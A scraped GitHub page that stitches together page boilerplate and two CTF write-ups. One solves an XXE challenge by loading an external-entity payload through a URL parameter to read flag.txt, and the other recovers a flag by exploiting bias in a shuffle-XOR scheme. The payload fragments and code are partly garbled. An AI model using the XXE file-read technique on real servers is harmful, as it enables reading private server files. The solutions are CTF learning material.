<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Problem Statement
One of your customer all proud of his new platform asked you to audit it. To show him that you can get information on his server, he hid a file "flag.txt" at the server's root.
xxexternalxx.sharkyctf.xyz
Creator : Remsio
# Solution
Hmm, no input forms, intriguing. The challenge mentions XXE, so there must be an "in'. Let's recon. Chrome Dev Tools or the equivalent for your browser and something like fiddler/postman/burp are your friends on this kind of challenge!
Clicking around, something interesting happes when clicking "Show Stored Data" Hmm what is this?

An xml file. I wonder what it contains. Maybe we get lucky accessing http://xxexternalxx.sharkyctf.xyz/data.xml. A beautiful, glorious xml shows itself:
<root> <data> 17/09/2019 the platform is now online, the fonctionnalities it contains will be audited by one of our society partenairs </data> </root> So the news content is displayed from this xml. Interesting choice. Let's try something stupid, let's put something invalid in that link:

Oh boy! Fubar is right. it's actually attempting to find our input, and it fails, giving us an error.
Diagnostics time, what we can figure from the error:* The error happens when trying to open a file called fubar (not before). So command injection does not seem plausible* There is some mention loadXml(). Pathing to flag.txt seems useless, since that xmlLoad would probably fail* Can we get a different errorr?
Ok let's try to path to the flag (http://xxexternalxx.sharkyctf.xyz/?xml=file:///flag.txt).

Oh wow, no more not-found. However, the loadXml function fails, as expected. But this is not entirely useless. That absolute path got me thinking of other absolutes, a terrible but maybe working idea :) A dream of http/https. Let's try (http://xxexternalxx.sharkyctf.xyz/?xml=http://www.google.com) :)

Gloprious successful failure. Alright, based on the error being with loadXml, I think we have an in. If we could get the server to render the flag through a malicious XML. Time to use our best friend, Google to see what this XXE thing is about :) Reading different sources, I stumbled upon https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9 which contained the clearest and most comprehensive guide on XXE (yes, better than OWASP). On the site, some clear eye opening payload:
]> <stockCheck><productId>&xx;;</productId></stockCheck> With minor tweaks based on the data.xml contents we already have, I think we have our payload
]> <root> <data>&xx;;</data> </root>
Now for matter of style: how to deliver the payload? Many techniques could be used. I chose Beeceptor only because MockBin wich does have a friendliert interface did not work for me for some reason. There are many other techniques you can apply.
Finally, we get the payload to be served through a public API:

No flag.txt on their service :) Time for the moment of truth, let's try to delegate some work to the victim site:

We wooon!
# FlagshkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}
|
# Home Rolled
This challenge presented the player with some obfuscated python code (below),and a network service running that code, which returned a different hex stringon each connection.
```pyimport os,itertoolsdef c(l): while l(): yield lr,e,h,p,v,u=open,any,bool,filter,min,lenb=lambda x:(lambda:x)w=lambda q:(lambda*x:q(2))m=lambda*l:[p(e(h,l),key=w(os.urandom)).pop(0)for j in c(lambda:v(l))]f=lambda l:[b(lambda:m(f(l[:k//2]),f(l[k//2:]))),b(b(l))][(k:=u(l))==1]()()s=r(__file__).read()t=lambda p:",".join(p)o=list(itertools.permutations("rehpvu"))exec(t(o[sum(map(ord,s))%720])+"="+t(b(o[0])()))a=r("flag.txt").read()print("".join(hex((g^x)+(1<<8))[7>>1:]for g,x in zip(f(list(range(256))),map(ord,a))))```
Without going into too much detail about the obfuscation methods used here,one interesting trick is the use of the file's content itself in the switchingof variable names. The file is read by `s=r(__file__).read()`, then thesubsequent call to `exec` makes use of that loaded file content. After somedeobfuscation, however, we get the following code:
```pyimport random
def BalancedMerge(*args): ret = [] while any(args): rand = random.choice(list(filter(bool, args))) ret.append(rand.pop(0)) return ret
def BalancedShuffle(arr): k = len(arr) if len(arr) == 1: return arr
return BalancedMerge( BalancedShuffle(arr[:k // 2]), BalancedShuffle(arr[k // 2:]) )
FLAG = open("flag.txt").read()print( "".join( hex(g ^ x)[2:] for g, x in zip( BalancedShuffle(list(range(256))), map(ord, FLAG) ) ))```
The `BalancedMerge` and `BalancedShuffle` appear to implement the algorithmsdescribed in http://ceur-ws.org/Vol-2113/paper3.pdf, hence the unusual namingconvention. Of note is that this is an unbiased shuffle. Because of this, thatcode can be simplified to the following:
```pyimport random
def shuffled(arr): random.shuffle(arr) return arr
FLAG = open("flag.txt").read()print( "".join( hex(g ^ x)[2:] for g, x in zip( shuggled(list(range(256))), map(ord, FLAG) ) ))```
This is considerably shorter. The flag is being XOR'd here with the numbers 0though 255, shuffled randomly, and truncated as required. The important thingto observe is that each value from 0 to 255 is used either 0 times, or 1 time,but never more than once. The other thing we know is the flag starts with`tjctf{` and ends in `}`, because that's the flag format.
This is potentially better illustrated with a nice table. Let's say that uponconnection to the service, we are sent the string`3201c75e5bb7e5e1f396c94e699fea5b18295c07640ba3e9911d1db224a423836214dcc4d4b4`.
| Encrypted | 0x32 | 0x01 | 0xc7 | 0x5e | 0x5b | 0xb7 | 0xe5 | 0xe1 | 0xf3 | 0x96 | ... ||-----------|------|------|------|------|------|------|------|------|------|------|-----|| Flag | t | j | c | t | f | { | | | | | ... || Key | 70 | 107 | 164 | 42 | 61 | 204 | ? | ? | ? | ? | ... |
We can recover the start of the random key (and the final number) by XORingthe known parts of the flag with the encrypted text. Unfortunately, we stillhave no way of calculating the `?`s in the key. We do now know a little bitabout them. That is, none of those `?`s will be 70, 107, 164, 42, 61, or 204.This is important! In fact they can only be 249 of the possible 256 values.
Okay, okay, we really haven't solved anything there. That still leaves us with3.2e+57 possible values for the flag. What we _have_ done, however, is found abias. Rather than the 256 possible values each character in the flag shouldhave, we've eliminated 7, leaving only 249 possible values. This means that ifwe find every possible value, a **huge** number of times, one value should beever so slightly more common that the others.
Time to go collect lots of data!
I wrote a very quick and dirty script that connected to the network service4,000 times, and dumped the output of each into a file. Then I went to make acoffee.
The script to locate the bias is not especially pretty, but it gets the jobdone. For each of the collected strings, every possible value for everyunknown character in the flag counts towards a counter. The characters thatwere seen to be the "most possible" are then outputted for each character ofthe flag.
```pyimport binascii
data = open('data.txt').read().strip().split()data = list(map(binascii.unhexlify, data))[:500]
possible = [{i: 0 for i in range(256)} for _ in range(31)]
for i in data: tot = list(range(256)) tot.remove(i[0] ^ ord('t')) tot.remove(i[1] ^ ord('j')) tot.remove(i[2] ^ ord('c')) tot.remove(i[3] ^ ord('t')) tot.remove(i[4] ^ ord('f')) tot.remove(i[5] ^ ord('{')) tot.remove(i[37] ^ ord('}'))
for j in tot: for k in range(6, 37): possible[k - 6][j ^ i[k]] += 1
print('tjctf{', end='')for i in possible: m = max(i, key=lambda x: i[x]) print(chr(m), end='', flush=True)print('}')``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>Writeups/TJCTF 2020/Naughty at master · PWN-to-0xE4/Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="A0BB:345B:1530A6D:15B9361:64122037" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c1a997965d679f1d777975ed1130af6528877fe705090725551f63af25bd359f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMEJCOjM0NUI6MTUzMEE2RDoxNUI5MzYxOjY0MTIyMDM3IiwidmlzaXRvcl9pZCI6IjkxNTcwMjE3MjU4ODc3MDEwNDciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="529ae55a1996c2bb2e0f5f55443a7ddd0e2cb770286f67b8c82be31c1917c5c7" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:267159226" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Writeups/TJCTF 2020/Naughty at master · PWN-to-0xE4/Writeups" /><meta name="twitter:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta property="og:image:alt" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Writeups/TJCTF 2020/Naughty at master · PWN-to-0xE4/Writeups" /><meta property="og:url" content="https://github.com/PWN-to-0xE4/Writeups" /><meta property="og:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/PWN-to-0xE4/Writeups git https://github.com/PWN-to-0xE4/Writeups.git">
<meta name="octolytics-dimension-user_id" content="65982425" /><meta name="octolytics-dimension-user_login" content="PWN-to-0xE4" /><meta name="octolytics-dimension-repository_id" content="267159226" /><meta name="octolytics-dimension-repository_nwo" content="PWN-to-0xE4/Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="267159226" /><meta name="octolytics-dimension-repository_network_root_nwo" content="PWN-to-0xE4/Writeups" />
<link rel="canonical" href="https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/Naughty" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
